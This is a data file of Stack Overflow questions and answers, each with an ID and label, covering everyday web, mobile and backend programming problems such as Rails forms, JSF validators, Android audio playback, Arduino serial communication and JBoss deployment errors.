22843956	0	 <p>You can just add an argument to your main template that tells it whether or not to add the error stylesheet and script. Your main template handles the conditional statement and your other views just pass a true/false.</p> <p><strong>main.scala.html</strong></p> <pre><code>@(title: String, active: Int, hasErrors: Boolean = false)(content: Html)(style: Html)(js: Html) &lt;html&gt; &lt;head&gt; &lt;title&gt;@title&lt;/title&gt; @style @if(hasErrors){&lt;link rel="stylesheet" href="error.css" /&gt;} &lt;/head&gt; &lt;body&gt; ... @js @if(hasErrors){&lt;script src="error.js"&gt;&lt;/script&gt;} &lt;/body&gt; &lt;/html&gt; </code></pre> <p><strong>other.scala.html</strong> (For example)</p> <pre><code>@(form: Form[MyModel]) @main(title, active, form.hasErrors) { ... @if(form.hasErrors){ @errorTemplate(errorMessage) } ... } { &lt;!-- stylesheets --&gt; } { &lt;!-- javascripts --&gt; } </code></pre>
4999705	0	How can a single form_for work for new, update and edit? <p>In rails 3, is it possible to create a form_for that works for both new, update and edit actions?</p> <p>If yes, how do I do this?</p> <p>I have a admin section so my urls look like:</p> <pre><code>/admin/posts/ {new,update, edit} </code></pre>
2025388	0	 <p>Have a look at <a href="http://tapestry.apache.org/" rel="nofollow noreferrer">tapestry</a> web-framework. from code-quality perspective one of the best pieces of code i have seen! it uses both unit-tests and integration-tests (selenium driven). they are nicely integrated with maven so you can just run them locally. i would have preferred canoo-webtest (browser independent), but the suites are nice.</p> <p>but you are right, all a mandating (automated) unit+integration tests, but you hardly see it in practice... though it really pays off!</p>
38335627	0	Hadoop Kerberos Usercase understanding <p>I have configured Kerberos with Hadoop. I'm facing difficulty in mapping the Kerberos architecture and whole flow of authentication to my application. Following is my usecase:</p> <p>We have a web application that calls backend services, which communicates with Hadoop ecosystem internally. Now i don't have clear idea how the kerberos aunthentication will take place, where the tokens will be stored i.e., whether client-side or server side. How the credential cache would be managed,when two or more users access the application and access hadoop, because when we do kinit the old credential cache is replaced by the new one. What would be the complete flow? just like this<a href="https://i.stack.imgur.com/3eNgw.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3eNgw.jpg" alt="enter image description here"></a></p> <p>Waiting for response. Thanks</p>
40616581	0	Restart Node.js Server after Post Request <p>Is there any way to have your Node.js server restart after completing a POST request? The reason being that API data doesn't persist on the client side when I refresh the browser until the server restarts. </p> <p>So is there any way to programmatically do this? I've been searching all over for the past couple days and I can't seem to find anything to fit my specific needs.</p> <p>Hopefully this makes sense! I was trying to convey my question without going too deep in the type of project I'm working on.</p> <p>Thanks in advance.</p>
2176210	0	 <p>You are fetching a JavaScript snippet that is supposed to be built in directly into the document, not queried by a script. The code inside is JavaScript.</p> <p>You could pull out the code using a regular expression, but I would advise against it. First, it's probably not legal to do. Second, the format of the data they serve can change any time, breaking your script.</p> <p>I think you should take at <a href="http://feeds.feedburner.com/PunOfTheDay" rel="nofollow noreferrer"><strong>their RSS feed</strong></a>. You can parse that programmatically way easier than the JavaScript.</p> <p>Check out this question on how to do that: <a href="http://stackoverflow.com/questions/250679/best-way-to-parse-rss-atom-feeds-with-php"><strong>Best way to parse RSS/Atom feeds with PHP</strong></a></p>
25717091	0	 <p>I ran across this issue and the above solution didn't fix it. It was because you need to make sure you are using NSTimeInterval for both duration and delay as well. So the solution above is correct, but make sure you are using the correct argument types for all parameters.</p>
22982007	0	 <p>Under windows, any perl operation that internally tries to test a file or directory for existence uses the Win32 function <code>CreateFile</code>. Under windows a filename ending in spaces is not legal (although not clearly documented), and for some strange reason the <code>CreateFile</code> function internally strips all trailing spaces before trying to open the file/directory.</p> <p>Since a name starting with space looks like a relative path, the space is first appended to your current working directory but then internally ignored by the Win32 function. This results in the directory test seeing your current directory and reporting success. </p> <p>The perl <code>stat</code> function then proceeds to acquiring additional information and seems to somewhere down the line handle the trailing space(s) differently and therefore fails to get any further information. However it seems to explicitly leave the <em>mode</em> attribute of the stat result set, because it earlier had deduced that there existed a directory.</p> <p>So yes, I would call this a bug in the windows port of perl, but fixing it is probably not as easy as it sounds, as there are lots of special cases for UNC paths, reparse points, NTFS/FAT filesystems etc. that makes correct handling of trailing spaces rather tricky.</p> <p>Your best bet would probably be to explicitly strip trailing spaces from any assumed directory name at a very early point (who needs that anyway) and croak if nothing is left after stripping.</p>
2934140	0	How can I make named_scope in Rails return one value instead of an array? <p>I want to write a <a href="http://rails.rubyonrails.org/classes/ActiveRecord/NamedScope/ClassMethods.html#M001684" rel="nofollow noreferrer">named scope</a> to get a record from its id. </p> <p>For example, I have a model called <code>Event</code>, and I want to simulate <code>Event.find(id)</code> with use of <code>named_scope</code> for future flexibility.</p> <p>I used this code in my model:</p> <pre><code>named_scope :from_id, lambda { |id| {:conditions =&gt; ['id= ?', id] } } </code></pre> <p>and I call it from my controller like <code>Event.from_id(id)</code>. But my problem is that it returns an array of <code>Event</code> objects instead of just one object.</p> <p>Thus if I want to get event name, I have to write</p> <pre><code>event = Event.from_id(id) event[0].name </code></pre> <p>while what I want is </p> <pre><code>event = Event.from_id(id) event.name </code></pre> <p>Am I doing something wrong here?</p>
6190067	0	 <p>Your communication classes shouldn't care what happens to the data they receive. Instead, they should either make the data available to a class that wants it. One way to do so would be to provide a getData() method, which received data and then returned it to the caller. Even better would be to provide a DataArrived event, which was fired whenever you received data. That way, any number of consumers could listen for data, but your communication code doesn`t have to know which classes are listening or what they plan to do with the data.</p> <p><strong>EDIT</strong>:</p> <p>A simple example:</p> <pre><code>public class MyClassWithEvent { public delegate void DataArrivedDelegate(string data); public event DataArrivedDelegate DataArrived; public void GetSomeData() { // Communication code goes here; stringData has the data DataArrivedDelegate handler = DataArrived; if (handler != null) { // If you want to raise the event on this thread, this is fine handler(stringData); } } } </code></pre> <p>In your listener class:</p> <pre><code>public MyListener { public MyListener(MyServer server) { // Sets MyListenerMethod to be called when DataArrived is raised server.DataArrived += MyListenerMethod; } public void MyListenerMethod(string data) { // Do something with the data Console.WriteLine(data); } } </code></pre>
35508005	0	 <p>Thank to @glennjackman, with <code>od -c myscript</code>, I saw some <code>302</code> &amp; <code>240</code> characters (non-ASCII), and it was the problem :) I just don't understand how these characters can appear... Anyway, thank you very much.</p>
13731499	0	Content-Length http header stripped out on Sprint 3G network <p>I have a server I am communicating with and I get a Content-Length header in the response when I connect with my iPhone 4S via WiFi, or via Web Browser. If I disable WiFi and use my Sprint 3G connection on my iPhone 4S, the Content-Length header in the response is missing.</p> <p>Server is running WCF under IIS 7.5 ...</p> <p>Does anyone know why this might happen?</p>
25995565	0	Custom form Validation Rails <p>I am wondering if i have set up my method incorrectly as my validation attempt is being ignored halfway through the method. (i have provided a basic example, i want to get this working before adding more)</p> <p>I have two variations of a form all belonging to the same object. The forms are differentiated by a column animal_type as you can see in my method</p> <pre><code> class Animal &lt; ActiveRecord::Base before_save :animal_form_validation private def animal_form_validation if self.animal_type == 'Dog' ap('Im validating the dog Form') if self.name.length &lt;= 0 errors.add(:name, "Name cannot be blank") end elsif self.animal_type == 'Cat' ap('Im validating the cat form') if self.name.length &lt;= 0 errors.add(:name, "Name cannot be blank") end end end end </code></pre> <p>whether i am submitting a cat or dog i get the correct message in the console (using awesome print), so the method is running and knows which form im submitting, but as for the next if statement it is being ignored.</p> <p>So i have an error with my syntax? or am i calling the wrong validation check on the name field ?</p> <p>Thanks</p>
21880001	0	 <p>No, it's not possible to execute PHP code in Javascript. </p> <p>What you'll need to do is make an ajax query to a php page. You can get more information about how to do that here: <a href="http://www.w3schools.com/php/php_ajax_xml.asp" rel="nofollow">http://www.w3schools.com/php/php_ajax_xml.asp</a></p> <p>And more info about XMLHttpRequest: <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest</a></p>
30321655	0	 <p>First turn that validation method into a true <a href="http://docs.oracle.com/javaee/7/api/javax/faces/validator/Validator.html" rel="nofollow"><code>Validator</code></a> implementation.</p> <pre><code>@FacesValidator("topicValidator") public TopicValidator implements Validator {} </code></pre> <p>Then you can use it in a <a href="https://docs.oracle.com/javaee/7/javaserver-faces-2-2/vdldocs-facelets/f/validator.html" rel="nofollow"><code>&lt;f:validator&gt;</code></a> which supports <code>disabled</code> attribute.</p> <pre><code>&lt;h:inputText ...&gt; &lt;f:validator validatorId="topicValidator" disabled="..." /&gt; &lt;/h:inputText&gt; </code></pre> <p>To let it check if a certain button is pressed, just check the presence of its client ID in the request parameter map.</p> <pre><code>&lt;h:inputText ...&gt; &lt;f:validator validatorId="topicValidator" disabled="#{empty param[secondButton.clientId]}" /&gt; &lt;/h:inputText&gt; ... &lt;h:commandButton binding="#{secondButton}" ... /&gt; </code></pre> <p>Note: do absolutely not bind it to a bean property! The above code is as-is. You should only guarantee that the EL variable <code>#{secondButton}</code> is unique in the current view and not shared by another component or even a managed bean.</p> <h3>See also:</h3> <ul> <li><a href="http://stackoverflow.com/questions/8370675/how-to-let-validation-depend-on-the-pressed-button">How to let validation depend on the pressed button?</a></li> <li><a href="http://stackoverflow.com/questions/14911158/how-does-the-binding-attribute-work-in-jsf-when-and-how-should-it-be-used">How does the &#39;binding&#39; attribute work in JSF? When and how should it be used?</a></li> </ul>
38863417	0	How to query TFS Work Items to count how many times each one had the state "Resolved"? <p>I need to know how many times a Work Item had the state <code>Resolved</code>.</p> <p>Is it possible using the <code>Work &gt; Queries</code> or some Widget in <code>Home &gt; Overview</code> tabs in TFS 2015 or VSO/VSTS?</p> <p>Is it possible using TFS API?</p>
29397185	0	Does JQuery have a "move" function? Or is there a more compact way of doing this? <p>When using JQuery in conjunction with a content management system, I find myself often writing snippets of code such as </p> <pre><code>$(document).ready(function() { var thishtml = $('#some-element')[0].outerHTML; $('#some-element').remove(); $('#hmpg-btm-box-holder').prepend(thishtml); }); </code></pre> <p>Does JQuery have a functionality to accomplish that in a more compact fashion?</p>
20572410	0	 <p>You can overload operator new, and operator delete for any specific user-defined type so that those operators use your allocator instead of the default heap allocator.</p>
38400172	0	 <p>I had this problem with a project that I've been working on for years, using Xcode 7.3. But one of my colleagues, who cloned the same Xcode project, doesn't have this problem. After trying several different approaches, I downloaded the development certificate from Apple Developer and installed them manually. It works all of a sudden. My guess is Xcode 7.3 messed up with the automatic "fix the problem" feature. </p>
667523	0	 <p>Are you saying your are getting results like this:</p> <pre><code>Group 1a Group 2a Foo1 1 Foo2 1 foo3 2 Group 2a Sum 4 Group 2b Foo1 3 Foo2 3 Group 2a Sum 6 Group 1a Sum 10 Group 1b Group 2a Foo1 4 Foo2 1 foo3 2 Group 2a Sum 7 Group 2b Foo1 4 Foo2 3 Group 2a Sum 14 Group 1b Sum 21 </code></pre> <p>This is the behaviour I would expect. I was able to do it by putting <code>=Sum([value])</code> in an unbound field in each group footer (and even in the report footer).</p> <p>I know 'works for me' isn't very helpful.</p> <p>Have you labelled the detail's values fields (or the summary fields) with the same name as the data source? Sometime MS Access has weird behaviour if your fields have the same name as their bound data source (I tend to rename them slightly so I'm sure what I'm referring to in code).</p>
23241941	0	Sending variables as body of mailto on asp:button <p>I have a website which I want users to be able to share a link via email. This particular page is the mobile version.</p> <p>I have an asp:button using mailto and I need to pass variables from the page to build the URL in the email body.</p> <pre><code> &lt;asp:Button ID="btnEmail" runat="server" Width="70%" Text="Share Property" PostBackUrl='&lt;%#"mailto:?subject=Check out this property at xxx - " &amp; DataBinder.Eval(Container, "DataItem.PropertyName") &amp; "body=" &amp; DataBinder.Eval(Container, "DataItem.PropertyID")%&gt;'/&gt; </code></pre> <p>The mailto is working and the subject is populating but the mail body seems to contain the viewstate of the page:</p> <pre><code>__EVENTTARGET=&amp;__EVENTARGUMENT=&amp;__VIEWSTATE=%2FwEPDwUKMTM4ODYwNDQ2Mg9kFgJmD2QWAgIDD2QWAmYPZBYCAgEPFgIeC18hSXRlbUNvdW50AgEWAmYPZBYKAgEPFgIeCWlubmVyaHRtbAXCAzx1bCBjbGFzcz0nc2xpZGVzJz48bGk%2BPGltZyBzcmM9Jy4uL2Z0cC9wQlJBTkNIX1AxMzQxLmpwZycgLz48L2xpPjxsaT48aW1nIHNyYz0nLi4vZnRwLzYtQlJBTkNIX1AxMzQxLmpwZycgLz48L2xpPjxsaT48aW1nIHNyYz0nLi4vZnRwLzctQlJBTkNIX1AxMzQxLmpwZycgLz48L2xpPjxsaT48aW1nIHNyYz0nLi4vZnRwLzgtQlJBTkNIX1AxMzQxLmpwZycgLz48L2xpPjxsaT48aW1nIHNyYz0nLi4vZnRwL2FCUkFOQ0hfUDEzNDEuanBnJyAvPjwvbGk%2BPGxpPjxpbWcgc3JjPScuLi9mdHAvYkJSQU5DSF9QMTM0MS5qcGcnIC8%2BPC9saT48bGk%2BPGltZyBzcmM9Jy4uL2Z0cC9jQlJBTkNIX1AxMzQxLmpwZycgLz48L2xpPjxsaT48aW1nIHNyYz0nLi4vZnRwL2RCUkFOQ0hfUDEzNDEuanBnJyAvPjwvbGk%2BPGxpPjxpbWcgc3JjPScuLi9mdHAvZUJSQU5DSF9QMTM0MS5qcGcnIC8%2BPC9saT48L3VsPmQCAg8VBRpSZWR3b29kIENsb3NlLCBTb3V0aCBPeGhleQM2NzUDUENNBVAxMzQxnwFPbmUgYmVkcm9vbSB0b3AgZmxvb3IgZmxhdCB3aXRoIGZpdHRlZCBiYXRocm9vbSwgZml0dGVkIGtpdGNoZW4gd2l0aCB3YXNoaW5nIG1hY2hpbmUsIGZyaWRnZSwgY29va2VyIGFuZCBtaWNyb3dhdmUuICBBdmFpbGFibGUgbm93IGZ1cm5pc2hlZC4gIEVuZXJneSBSYXRpbmcgRS5kAgMPDxYCHgtQb3N0QmFja1VybAUlaHR0cDovL21hcHMuYXBwbGUuY29tL21hcHM%2FcT1XRDE5IDZTRWRkAgUPDxYCHwIFHFJlcXVlc3RWaWV3aW5nLmFzcHg%2FSUQ9UDEzNDFkZAIHDw8WAh8CBWNtYWlsdG86P3N1YmplY3Q9Q2hlY2sgb3V0IHRoaXMgcHJvcGVydHkgYXQgSm9obiBXaGl0ZW1hbiAtIFJlZHdvb2QgQ2xvc2UsIFNvdXRoIE94aGV5Ym9keT10ZXN0UDEzNDFkZGQlH8aveHqM96GJK6rcUKFtYormuw%3D%3D&amp;__PREVIOUSPAGE=jXBhZExXbPAJGCoKEgVxPvQrYIK2wX4xu1Pu8m0He281&amp;__EVENTVALIDATION=%2FwEWBQLLnPHNBQKLm%2B%2BxDQKTlZGGAQKbi8jQCALB16nOAksIgJxExXvoFLdOr%2FT%2F56iiVmxW&amp;ctl00%24MainContent%24myDataRepeater%24ctl00%24btnEmail=Share+Property </code></pre> <p>Where am I going wrong?</p>
31985106	0	how to play sound in android <p>I want to play music in my app when application starts. I tried many codes but nothing is working for me and i'm not getting any error.Can somebody please help me regarding this issue.Thanks in advance.</p> <pre><code>public class Login extends Activity { EditText edName, edPassword; String userName,password; MediaPlayer mp; @SuppressLint("NewApi") @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.login); mp = MediaPlayer.create(getApplicationContext(), R.raw.startsound); ActionBar actionBar = getActionBar(); actionBar.hide(); edName = (EditText) findViewById(R.id.editText1); edPassword = (EditText) findViewById(R.id.editText2); mp.start(); } public void SignInClick(View V) { userName = edName.getText().toString(); password = edPassword.getText().toString(); if (userName.equals("")) { Toast.makeText(Login.this, "Username is empty", Toast.LENGTH_LONG).show();} else if (password.equals("")) { Toast.makeText(Login.this, "Password is empty", Toast.LENGTH_LONG).show(); } else { Intent intent=new Intent(Login.this,Home.class); startActivity(intent); } </code></pre> <p>}</p>
40201042	1	Trying send a string from python to arduino through serial port and resend a part of the same back <p>Problem is that it prints the string for some initial iterations but after that it prints only first letter of the string. <strong>THIS IS THE PYTHON CODE I'm USING:</strong></p> <pre><code>import serial import time ser = serial.Serial("COM5",9600) while True: ser.write('aqwertyui') time.sleep(1) print(ser.read()) ser.close </code></pre> <p><strong>This is arduino code I'm using</strong></p> <pre><code>#include&lt;SoftwareSerial.h&gt; SoftwareSerial mySerial(10,11); //RX TX char inc[8] = "0000000"; void setup() { // put your setup code here, to run once: Serial.begin(9600); mySerial.begin(9600); } int i; void loop() { while(mySerial.available()){ if(mySerial.read() == 'a'){ for(int i = 0; i&lt;8; i++){ if(i&lt;4){ inc[i] = '0'; inc[i] = mySerial.read(); mySerial.write(inc[i]); delay(1000); } else{ inc[i] = '0'; inc[i] = mySerial.read(); } } } else{ mySerial.write('0'); delay(1000); } } } </code></pre> <p><strong>This is my output</strong> q w e r q w e r .....for some iterations and then a a a a a a......till end.</p>
1709430	0	 <p>You better tell them what XML really means, 'cause that thing you posted there is far away from anything that has the right of being called XML...</p> <p>In that case, go for the CSV, read in every row and strip out the spaces (e.g. <code>_Row.Replace(" ", "");</code>), save it in a new .XML and you should be good to go.</p>
25175100	0	DeploymentException with JBoss 6 <p>While Deploying ear in jboss 6 its giving Runtime Exception please help me how to solve this error</p> <pre><code>11:14:14,684 ERROR [ProfileDeployAction] Failed to add deployment: FirstGen.ear: org.jboss.deployers.spi.DeploymentException: Exception determining structure: AbstractVFSDeployment(FirstGen.ear) at org.jboss.deployers.spi.DeploymentException.rethrowAsDeploymentException(DeploymentException.java:49) [:2.2.0.GA] at org.jboss.deployers.structure.spi.helpers.AbstractStructuralDeployers.determineStructure(AbstractStructuralDeployers.java:85) [:2.2.0.GA] at org.jboss.deployers.plugins.main.MainDeployerImpl.determineStructure(MainDeployerImpl.java:1106) [:2.2.0.GA] at org.jboss.deployers.plugins.main.MainDeployerImpl.determineDeploymentContext(MainDeployerImpl.java:417) [:2.2.0.GA] at org.jboss.deployers.plugins.main.MainDeployerImpl.addDeployment(MainDeployerImpl.java:367) [:2.2.0.GA] at org.jboss.deployers.plugins.main.MainDeployerImpl.addDeployment(MainDeployerImpl.java:277) [:2.2.0.GA] at org.jboss.system.server.profileservice.deployers.MainDeployerPlugin.addDeployment(MainDeployerPlugin.java:77) [:6.0.0.Final] at org.jboss.profileservice.dependency.ProfileControllerContext$DelegateDeployer.addDeployment(ProfileControllerContext.java:133) [:0.2.2] at org.jboss.profileservice.dependency.ProfileDeployAction.deploy(ProfileDeployAction.java:132) [:0.2.2] at org.jboss.profileservice.dependency.ProfileDeployAction.installActionInternal(ProfileDeployAction.java:94) [:0.2.2] at org.jboss.kernel.plugins.dependency.InstallsAwareAction.installAction(InstallsAwareAction.java:54) [jboss-kernel.jar:2.2.0.GA] at org.jboss.kernel.plugins.dependency.InstallsAwareAction.installAction(InstallsAwareAction.java:42) [jboss-kernel.jar:2.2.0.GA] at org.jboss.dependency.plugins.action.SimpleControllerContextAction.simpleInstallAction(SimpleControllerContextAction.java:62) [jboss-dependency.jar:2.2.0.GA] at org.jboss.dependency.plugins.action.AccessControllerContextAction.install(AccessControllerContextAction.java:71) [jboss-dependency.jar:2.2.0.GA] at org.jboss.dependency.plugins.AbstractControllerContextActions.install(AbstractControllerContextActions.java:51) [jboss-dependency.jar:2.2.0.GA] at org.jboss.dependency.plugins.AbstractControllerContext.install(AbstractControllerContext.java:379) [jboss-dependency.jar:2.2.0.GA] at org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:2044) [jboss-dependency.jar:2.2.0.GA] at org.jboss.dependency.plugins.AbstractController.incrementState(AbstractController.java:1083) [jboss-dependency.jar:2.2.0.GA] at org.jboss.dependency.plugins.AbstractController.executeOrIncrementStateDirectly(AbstractController.java:1322) [jboss-dependency.jar:2.2.0.GA] at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:1246) [jboss-dependency.jar:2.2.0.GA] at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:1139) [jboss-dependency.jar:2.2.0.GA] at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:939) [jboss-dependency.jar:2.2.0.GA] at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:654) [jboss-dependency.jar:2.2.0.GA] at org.jboss.profileservice.dependency.ProfileActivationWrapper$BasicProfileActivation.start(ProfileActivationWrapper.java:190) [:0.2.2] at org.jboss.profileservice.dependency.ProfileActivationWrapper.start(ProfileActivationWrapper.java:87) [:0.2.2] at org.jboss.profileservice.dependency.ProfileActivationService.activateProfile(ProfileActivationService.java:215) [:0.2.2] at org.jboss.profileservice.dependency.ProfileActivationService.activate(ProfileActivationService.java:159) [:0.2.2] at org.jboss.profileservice.bootstrap.AbstractProfileServiceBootstrap.activate(AbstractProfileServiceBootstrap.java:112) [:0.2.2] at org.jboss.profileservice.resolver.BasicResolverFactory$ProfileResolverFacade.deploy(BasicResolverFactory.java:87) [:0.2.2] at org.jboss.profileservice.bootstrap.AbstractProfileServiceBootstrap.start(AbstractProfileServiceBootstrap.java:91) [:0.2.2] at org.jboss.system.server.profileservice.bootstrap.BasicProfileServiceBootstrap.start(BasicProfileServiceBootstrap.java:132) [:6.0.0.Final] at org.jboss.system.server.profileservice.bootstrap.BasicProfileServiceBootstrap.start(BasicProfileServiceBootstrap.java:56) [:6.0.0.Final] at org.jboss.bootstrap.impl.base.server.AbstractServer.startBootstraps(AbstractServer.java:827) [jboss-bootstrap-impl-base.jar:2.1.0-alpha-5] at org.jboss.bootstrap.impl.base.server.AbstractServer$StartServerTask.run(AbstractServer.java:417) [jboss-bootstrap-impl-base.jar:2.1.0-alpha-5] at java.lang.Thread.run(Thread.java:662) [:1.6.0_27] </code></pre> <p>Caused by: java.lang.RuntimeException: Error determining structure: FirstGen.ear at org.jboss.deployment.EARStructure.doDetermineStructure(EARStructure.java:300) [:6.0.0.Final] at org.jboss.deployers.vfs.plugins.structure.AbstractVFSArchiveStructureDeployer.determineStructure(AbstractVFSArchiveStructureDeployer.java:60) [:2.2.0.GA] at org.jboss.deployers.vfs.plugins.structure.StructureDeployerWrapper.determineStructure(StructureDeployerWrapper.java:73) [:2.2.0.GA] at org.jboss.deployers.vfs.plugins.structure.VFSStructuralDeployersImpl.doDetermineStructure(VFSStructuralDeployersImpl.java:197) [:2.2.0.GA] at org.jboss.deployers.vfs.plugins.structure.VFSStructuralDeployersImpl.determineStructure(VFSStructuralDeployersImpl.java:222) [:2.2.0.GA] at org.jboss.deployers.structure.spi.helpers.AbstractStructuralDeployers.determineStructure(AbstractStructuralDeployers.java:77) [:2.2.0.GA] ... 33 more Caused by: org.jboss.xb.binding.JBossXBException: Failed to parse source: xml_stream@14,15 at org.jboss.xb.binding.parser.sax.SaxJBossXBParser.parse(SaxJBossXBParser.java:224) [jbossxb.jar:2.0.3.GA] at org.jboss.xb.binding.parser.sax.SaxJBossXBParser.parse(SaxJBossXBParser.java:193) [jbossxb.jar:2.0.3.GA] at org.jboss.xb.binding.UnmarshallerImpl.unmarshal(UnmarshallerImpl.java:171) [jbossxb.jar:2.0.3.GA] at org.jboss.deployment.EARStructure.doDetermineStructure(EARStructure.java:169) [:6.0.0.Final] ... 38 more Caused by: org.xml.sax.SAXException: The content of element type "application" must match "(icon?,display-name,description?,module+,security-role*)". @ <em>unknown</em>[14,15] at org.jboss.xb.binding.parser.sax.SaxJBossXBParser.error(SaxJBossXBParser.java:416) [jbossxb.jar:2.0.3.GA] at org.apache.xerces.util.ErrorHandlerWrapper.error(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.impl.XMLErrorReporter.reportError(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.impl.XMLErrorReporter.reportError(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.impl.XMLErrorReporter.reportError(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.impl.dtd.XMLDTDValidator.handleEndElement(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.impl.dtd.XMLDTDValidator.endElement(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.impl.XMLNSDocumentScannerImpl.scanEndElement(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.parsers.XMLParser.parse(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.apache.xerces.jaxp.SAXParserImpl$JAXPSAXParser.parse(Unknown Source) [xercesImpl.jar:6.0.0.Final] at org.jboss.xb.binding.parser.sax.SaxJBossXBParser.parse(SaxJBossXBParser.java:209) [jbossxb.jar:2.0.3.GA] ... 41 more</p>
38375155	0	 <p>I think you misunderstood with <code>Model&lt;---&gt;ViewModel(s) Two-Way binding</code>, actually the binding source should at least be an instance of the Model, the <code>DataContext</code> should be the ViewModel which contains this instance of the Model, we can't directly bind model to a binding target. So your design pattern is not quite right. </p> <p>I think what you need is like when data is changed in ViewModel1, other ViewModels can get notified and response to it, and you may have done this work by manually refresh it and you want to find another way. </p> <p>Here is an easy way to do this in MVVM pattern, you can use the Messenger of <a href="https://mvvmlight.codeplex.com/" rel="nofollow">MVVM Light</a>, you can refer to this question on SO: <a href="http://stackoverflow.com/questions/18087906/use-mvvm-lights-messenger-to-pass-values-between-view-model">Use MVVM Light's Messenger to Pass Values Between View Model</a>.</p>
31356812	0	Method for randomly loading paired images <p>I've created a webpage with many (over 100) paired flash cards with Question (image) flipping to Answer (image) when clicked. If possible I would like to be able to randomise the order in which the question/answer pairs load with each page load/refresh.</p> <pre><code> &lt;div class="content4Column gap"&gt; &lt;div class="card-container"&gt; &lt;div class="card click" data-direction="left"&gt; &lt;div class="front"&gt; &lt;img src="Intermolecular/Q1.png" width="100%" height="100%" alt=""&gt; &lt;/div&gt; &lt;div class="back"&gt; &lt;img src="Intermolecular/A1.png" width="100%" height="100%" alt=""&gt; &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; </code></pre>
12361147	0	 <p>Try this</p> <p><strong>CSS</strong></p> <pre><code>html, body { margin:0; padding:0; height:100%; } #wrapper{ min-height:100%; position:relative; } #header { background:#00ff0f; padding:30px; } #main{ padding:10px; padding-bottom:45px; /* Height+padding(top and botton) of the footer */ text-align:justify; height:100%; } #footer { position:absolute; bottom:0; width:100%; height:15px; /* Height of the footer */ background:#00ff0f; padding:10px 0; /*paddingtop+bottom 20*/ } </code></pre> <p><strong>​HTML</strong></p> <pre><code>&lt;div id="wrapper"&gt; &lt;div id="header"&gt;Header&lt;/div&gt; &lt;div id="main"&gt; Some Content Here... &lt;/div&gt; &lt;div id="footer"&gt;Footer&lt;/div&gt; &lt;/div&gt;​ </code></pre> <p><a href="http://jsfiddle.net/FPCWD/7/" rel="nofollow"><strong>DEMO</strong></a>.</p>
28614937	0	CSS image positioning inside <div> <p>I have been making a website and I want an opening image to be found on my screen. The problem is that I have the picture I want to use but it is to big for the space I want it to fit in. This could be solved 2 ways: I could scale the image to fit in the Div or I could position the image inside the div to show the essential parts of my picture. Ideally I would like the second option but I am ok with the first. I believe that I have done sufficient research on this question and this question is not like these:<a href="http://stackoverflow.com/questions/2635957/css-positioning-inside-div">First</a>, <a href="http://stackoverflow.com/questions/24180462/css-positioning-inside-a-div">Second</a>. I have also done my own experiments on this problem but using the position property and clear divs these have not worked to my satisfaction.</p> <p>Here is what i believe to be the essential code for this question:</p> <p>HTML:</p> <pre><code>&lt;div class="jumbotron"&gt; &lt;h1&gt; New IQ Test &lt;/h1&gt; &lt;p&gt;Take our quiz&lt;/p&gt; &lt;/div&gt; </code></pre> <p>CSS:</p> <pre><code>.jumbotron { /*padding-left: 50px; padding-right: 10px;*/ height: 500px; display:block; background-image: url(http://bit.ly/1IMUMR0); width: 100%; /*padding-top: 100px; position: absolute; bottom: -30px;*/ text-align: center; color:white; } .jumbotron h1 { padding-top: 150px; font-weight: normal; opacity: 100; text-shadow: 0 0 10px black; font-family: Helvetica; } </code></pre> <p>The image I am using is not owned by me. I realize this is illegal. I am NOT going to put this web page out for general use so it us ok if I use this image. All your help is greatly appreciated.</p>
11100590	0	 <p>If the two string are of different size the following code you return the total mismatch of alphabets.</p> <p>You can try this - </p> <pre><code> String ip1 = "input"; // input1 String ip2 = "utput"; // input2 int count = 0; // difference in string String ipx2 = ip2; for (int j = 0; j &lt;= ip2.length(); j++) { int value = ip1.indexOf(ipx2); if (value != -1) { if (("").equals(ipx2)) { // if the second string is blank after continous reducing count = ip1.length() + ip2.length(); } else { count = ip1.length() + ip2.length() - 2 * ipx2.length(); } break; } else { count = ip1.length() + ip2.length(); // if there is no match at all } ipx2 = ip2.substring(j); } System.out.println("" + count); } </code></pre> <p>You will have to check whether the inputs have some data or not. I have not done that check.</p>
